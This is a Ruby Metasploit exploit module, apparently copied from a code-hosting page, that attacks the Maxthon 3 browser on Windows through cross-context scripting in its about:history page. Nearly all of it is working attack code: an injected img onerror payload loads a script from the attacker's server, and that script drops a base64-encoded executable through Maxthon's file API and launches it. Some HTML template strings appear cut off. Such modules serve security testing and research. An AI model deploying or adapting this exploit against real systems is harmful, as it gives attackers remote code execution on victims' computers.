142 lines
4.0 KiB
Ruby
142 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Maxthon3 about:history XCS Trusted Zone Code Execution',
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'Description' => %q{
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Cross Context Scripting (XCS) is possible in the Maxthon about:history page.
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Injection in such privileged/trusted browser zone can be used to modify
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configuration settings and execute arbitrary commands.
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Please note this module only works against specific versions of XCS. Currently,
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we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
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'sinn3r', # msf module
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'juan vazquez' # msf module
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],
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'References' =>
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[
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['OSVDB', '88191'],
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['EDB', '23225'],
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['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html']
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],
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'Payload' =>
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{
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Maxthon 3 (prior to 3.3) on Windows', {} ]
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],
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'DisclosureDate' => 'Nov 26 2012',
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'DefaultTarget' => 0
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))
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end
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def on_request_uri(cli, request)
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if request.headers['User-Agent'] !~ /Maxthon\/3/ or request.headers['User-Agent'] !~ /AppleWebKit\/534.12/
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print_status("Sending 404 for User-Agent #{request.headers['User-Agent']}")
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send_not_found(cli)
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return
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end
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html_hdr = %Q|
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<html>
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<head>
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<title>Loading</title>
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html_ftr = %Q|
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</head>
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<body >
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<h1>Loading</h1>
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</body></html>
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case request.uri
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when /\?jspayload/
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p = regenerate_payload(cli)
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if (p.nil?)
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send_not_found(cli)
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return
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end
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# We're going to run this through unescape(), so make sure
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# everything is encoded
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penc = generate_payload_exe
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penc2 = Rex::Text.encode_base64(penc)
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# now this is base64 encoded payload which needs to be passed to the file write api in maxthon.
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# Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted.
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# The Program DOM API isn't available on Maxthon 3.2 and upper versions.
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content = %Q|
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if(maxthon.program)
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{
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var fileTemp = new maxthon.io.File.createTempFile("test","exe");
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var fileObj = maxthon.io.File(fileTemp);
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maxthon.io.FileWriter(fileTemp);
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maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
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maxthon.program.Program.launch(fileTemp.name_,"C:");
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}
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when /\?history/
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js = %Q|
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window.onload = function() {
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location.href = "about:history";
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}
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content = %Q|
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#{html_hdr}
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<script>
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#{js}
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</script>
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#{html_ftr}
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when get_resource()
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print_status("Sending #{self.name} payload for request #{request.uri}")
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js = %Q|
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url = location.href;
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url2 = url + "?jspayload=1";
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inj = "?history#%22/><img src=a onerror=%22"
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inj_1 = "a=document.createElement('script');a.setAttribute('src','"+url2+"');document.body.appendChild(a);";
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window.location = unescape(inj) + inj_1;
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content = %Q|
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#{html_hdr}
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<script>
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#{js}
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</script>
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#{html_ftr}
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else
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print_status("Sending 404 for request #{request.uri}")
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send_not_found(cli)
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return
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end
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send_response_html(cli, content)
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end
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end
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